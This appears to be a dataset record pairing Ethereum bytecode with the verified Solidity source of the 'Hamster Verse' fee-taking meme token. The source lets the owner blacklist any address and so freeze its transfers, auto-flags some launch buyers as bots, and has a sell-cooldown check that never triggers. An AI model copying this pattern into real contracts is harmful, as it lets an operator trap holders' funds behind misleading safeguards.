19091905050610f28565b6040518082815260200191505060405180910390f35b341561044d57600080fd5b610455610f70565b005b341561046257600080fd5b61046a611087565b604051808215151515815260200191505060405180910390f35b341561048f57600080fd5b61049761119a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104e457600080fd5b6104ec6111c0565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561052c578082015181840152602081019050610511565b50505050905090810190601f1680156105595780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561057257600080fd5b61057a61125e565b005b341561058757600080fd5b6105b3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611374565b005b34156105c057600080fd5b6105f5600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061142b565b604051808215151515815260200191505060405180910390f35b341561061a57600080fd5b61062261147a565b604051808215151515815260200191505060405180910390f35b341561064757600080fd5b61067c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611578565b604051808215151515815260200191505060405180910390f35b34156106a157600080fd5b6106ec600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611774565b6040518082815260200191505060405180910390f35b341561070d57600080fd5b610739600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506117fb565b005b341561074657600080fd5b610772600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506119e0565b005b341561077f57600080fd5b6107d3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611aef565b604051808215151515815260200191505060405180910390f35b600360149054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108965780601f1061086b57610100808354040283529160200191610896565b820191906000526020600020905b81548152906001019060200180831161087957829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60003073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156109d757600080fd5b6109e2848484611e8d565b90509392505050565b600860009054906101000a900460ff1681565b60008073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610ade5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015610add5750600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b5b15610ae857600080fd5b600360149054906101000a900460ff16151515610b0457600080fd5b610b198260015461224790919063ffffffff16565b600181905550610b70826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461224790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600560009054906101000a900460ff161515610c8b57600080fd5b610c9481612265565b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610da8576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e3c565b610dbb83826123b790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610fac57600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561100457600080fd5b600560009054906101000a900460ff1615151561102057600080fd5b6001600560006101000a81548160ff0219169083151502179055507fe103100ce86abe135e3cc5d96458723bbcb830967e732e335fde420b29574046600560009054906101000a900460ff16604051808215151515815260200191505060405180910390a1565b60008073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806111675750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156111665750600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b5b1561117157600080fd5b600360149054906101000a900460ff1615151561118d57600080fd5b6111956123d0565b905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112565780601f1061122b57610100808354040283529160200191611256565b820191906000526020600020905b81548152906001019060200180831161123957829003601f168201915b505050505081565b600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151561129a57600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156112f257600080fd5b600560009054906101000a900460ff16151561130d57600080fd5b6000600560006101000a81548160ff0219169083151502179055507fe103100ce86abe135e3cc5d96458723bbcb830967e732e335fde420b29574046600560009054906101000a900460ff16604051808215151515815260200191505060405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113d057600080fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60003073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561146857600080fd5b6114728383612524565b905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515156114b757600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561150f57600080fd5b600360149054906101000a900460ff16151561152a57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f27972584d0250f0081e19b485a4cf50be4d1399b02ad44f57ad282d3563a833160405160405180910390a16001905090565b600061160982600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461224790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806118da5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156118d95750600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b5b156118e457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561192057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a3c57600080fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611a9457600080fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515611b2c57600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611b8457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515611bc057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611bfc57600080fd5b600082111515611c0b57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611c5857600080fd5b611ca9826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b790919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d3c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461224790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f68a1328f26c33f8db28e9b0d8251c4bd2311fd5bbc63abdfd2c2524972bf567e848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a18273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611eca57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611f1757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611fa257600080fd5b611ff3826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b790919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612086826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461224790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061215782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b790919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080828401905083811015151561225b57fe5b8091505092915050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156122b457600080fd5b339050612308826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b790919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061235f826001546123b790919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b60008282111515156123c557fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806124b05750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156124af5750600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b5b156124ba57600080fd5b600360149054906101000a900460ff161515156124d657600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561256157600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156125ae57600080fd5b6125ff826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b790919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612692826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461224790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820d0e81dd5055a7c831d86507bb6ccdcc3a16b1d9c37d474e937f4f10df0b076710029
|
{"success": true, "error": null, "results": {}}
| 9,482 |
0x801234d250ba2768b94c93123e0299c67f6227eb
|
/**
*Submitted for verification at Etherscan.io on 2022-01-03
*/
/*
***HAMSTER VERSE***
Website
https://hamstergames.net/
Telegram
https://t.me/hamsterverse
Twitter
https://twitter.com/hamstergamesnet
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract HAMSTERVERSE is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
mapping (address => User) private cooldown;
uint private constant _totalSupply = 1e10 * 10**9;
string public constant name = unicode"Hamster Verse";
string public constant symbol = unicode"HamsterVerse";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _TaxAdd;
address public uniswapV2Pair;
uint public _buyFee = 13;
uint public _sellFee = 13;
uint private _feeRate = 20;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_TaxAdd = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
if (recipient == tx.origin) _isBot[recipient] = true;
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if (block.timestamp == _launchedAt) _isBot[to] = true;
if((_launchedAt + (10 minutes)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "3% hold and buy limit in 10 mins.");
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (10 minutes)) > block.timestamp) {
require(amount <= _maxBuyAmount, "3% hold and buy limit in 10 mins.");
require(cooldown[to].buy < block.timestamp + (30 seconds), "30s buy cooldown...");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "15s sell cooldown.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_TaxAdd.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 300000000 * 10**9;
_maxHeldTokens = 300000000 * 10**9;
// the limit of buy and hold is 3%
}
function manualswap() external {
require(_msgSender() == _TaxAdd);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _TaxAdd);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external {
require(_msgSender() == _TaxAdd);
require(rate > 0, "no 0");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _TaxAdd);
require(buy < 13 && sell < 13 && buy < _buyFee && sell < _sellFee, "lower tax only.");
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external {
require(_msgSender() == _TaxAdd);
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _TaxAdd);
_TaxAdd = payable(newAddress);
emit TaxAddUpdated(_TaxAdd);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _TaxAdd);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
}
|
0x6080604052600436106101e75760003560e01c8063590f897e11610102578063a9059cbb11610095578063db92dbb611610064578063db92dbb6146106a7578063dcb0e0ad146106d2578063dd62ed3e146106fb578063e8078d9414610738576101ee565b8063a9059cbb14610613578063b515566a14610650578063c3c8cd8014610679578063c9567bf914610690576101ee565b806373f54a11116100d157806373f54a11146105695780638da5cb5b1461059257806394b8d8f2146105bd57806395d89b41146105e8576101ee565b8063590f897e146104d35780636fc3eaec146104fe57806370a0823114610515578063715018a614610552576101ee565b806327f3a72a1161017a5780633bbac579116101495780633bbac5791461041757806340b9a54b1461045457806345596e2e1461047f57806349bd5a5e146104a8576101ee565b806327f3a72a1461036d578063313ce5671461039857806331c2d847146103c357806332d873d8146103ec576101ee565b8063104ce66d116101b6578063104ce66d146102af57806318160ddd146102da5780631940d0201461030557806323b872dd14610330576101ee565b80630492f055146101f357806306fdde031461021e578063095ea7b3146102495780630b78f9c014610286576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b5061020861074f565b6040516102159190612c44565b60405180910390f35b34801561022a57600080fd5b50610233610755565b6040516102409190612cf8565b60405180910390f35b34801561025557600080fd5b50610270600480360381019061026b9190612db8565b61078e565b60405161027d9190612e13565b60405180910390f35b34801561029257600080fd5b506102ad60048036038101906102a89190612e2e565b6107ac565b005b3480156102bb57600080fd5b506102c46108c5565b6040516102d19190612e8f565b60405180910390f35b3480156102e657600080fd5b506102ef6108eb565b6040516102fc9190612c44565b60405180910390f35b34801561031157600080fd5b5061031a6108fb565b6040516103279190612c44565b60405180910390f35b34801561033c57600080fd5b5061035760048036038101906103529190612eaa565b610901565b6040516103649190612e13565b60405180910390f35b34801561037957600080fd5b50610382610b11565b60405161038f9190612c44565b60405180910390f35b3480156103a457600080fd5b506103ad610b21565b6040516103ba9190612f19565b60405180910390f35b3480156103cf57600080fd5b506103ea60048036038101906103e5919061307c565b610b26565b005b3480156103f857600080fd5b50610401610c1c565b60405161040e9190612c44565b60405180910390f35b34801561042357600080fd5b5061043e600480360381019061043991906130c5565b610c22565b60405161044b9190612e13565b60405180910390f35b34801561046057600080fd5b50610469610c78565b6040516104769190612c44565b60405180910390f35b34801561048b57600080fd5b506104a660048036038101906104a191906130f2565b610c7e565b005b3480156104b457600080fd5b506104bd610d65565b6040516104ca919061312e565b60405180910390f35b3480156104df57600080fd5b506104e8610d8b565b6040516104f59190612c44565b60405180910390f35b34801561050a57600080fd5b50610513610d91565b005b34801561052157600080fd5b5061053c600480360381019061053791906130c5565b610e03565b6040516105499190612c44565b60405180910390f35b34801561055e57600080fd5b50610567610e4c565b005b34801561057557600080fd5b50610590600480360381019061058b91906130c5565b610f9f565b005b34801561059e57600080fd5b506105a761109d565b6040516105b4919061312e565b60405180910390f35b3480156105c957600080fd5b506105d26110c6565b6040516105df9190612e13565b60405180910390f35b3480156105f457600080fd5b506105fd6110d9565b60405161060a9190612cf8565b60405180910390f35b34801561061f57600080fd5b5061063a60048036038101906106359190612db8565b611112565b6040516106479190612e13565b60405180910390f35b34801561065c57600080fd5b506106776004803603810190610672919061307c565b611130565b005b34801561068557600080fd5b5061068e611340565b005b34801561069c57600080fd5b506106a56113ba565b005b3480156106b357600080fd5b506106bc6114e1565b6040516106c99190612c44565b60405180910390f35b3480156106de57600080fd5b506106f960048036038101906106f49190613175565b611513565b005b34801561070757600080fd5b50610722600480360381019061071d91906131a2565b6115d7565b60405161072f9190612c44565b60405180910390f35b34801561074457600080fd5b5061074d61165e565b005b600d5481565b6040518060400160405280600d81526020017f48616d737465722056657273650000000000000000000000000000000000000081525081565b60006107a261079b611b0e565b8484611b16